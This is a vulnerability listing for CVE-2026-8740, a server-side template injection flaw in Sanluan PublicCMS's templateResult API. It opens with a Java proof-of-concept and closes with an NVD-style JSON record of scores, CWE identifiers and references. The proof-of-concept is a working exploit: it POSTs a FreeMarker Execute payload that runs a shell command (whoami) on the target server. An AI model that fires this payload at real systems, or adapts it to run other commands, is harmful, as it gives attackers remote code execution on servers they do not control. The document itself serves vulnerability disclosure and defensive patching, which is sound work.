CVE-2026-8740

/* * PoC for CVE-2026-8740 * Demonstrates SSTI via templateContent parameter */ import java.io.*; import java.net.*; public class CVE_2026_8740_PoC { public static void main(String[] args) { try { // Target URL (Hypothetical based on description) String url = "http://target-host:8080/api/directive/tools/templateResult"; // Payload attempts to execute a simple command to verify vulnerability // Assuming FreeMarker or similar Java template engine syntax String payload = "${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"; String params = "templateContent=" + URLEncoder.encode(payload, "UTF-8"); HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.getOutputStream().write(params.getBytes("UTF-8")); System.out.println("Response Code: " + conn.getResponseCode()); BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = br.readLine()) != null) { System.out.println(line); } br.close(); } catch (Exception e) { e.printStackTrace(); } } }

{"cve": {"id": "CVE-2026-8740", "sourceIdentifier": "[email protected]", "published": "2026-05-17T09:16:34.823", "lastModified": "2026-05-17T09:16:34.823", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Sanluan PublicCMS 5.202506.d. The impacted element is the function execute of the file publiccms-core/src/main/java/com/publiccms/views/directive/tools/TemplateResultDirective.java of the component templateResult API. This manipulation of the argument templateContent causes improper neutralization of special elements used in a template engine. The attack is possible to be carried out remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-791"}, {"lang": "en", "value": "CWE-1336"}]}], "references": [{"url": "https://vuldb.com/submit/809932", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364328", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364328/cti", "source": "[email protected]"}, {"url": "https://vulnplus-note.wetolink.com/share/ILcCnOvJ1fMc", "source": "[email protected]"}]}}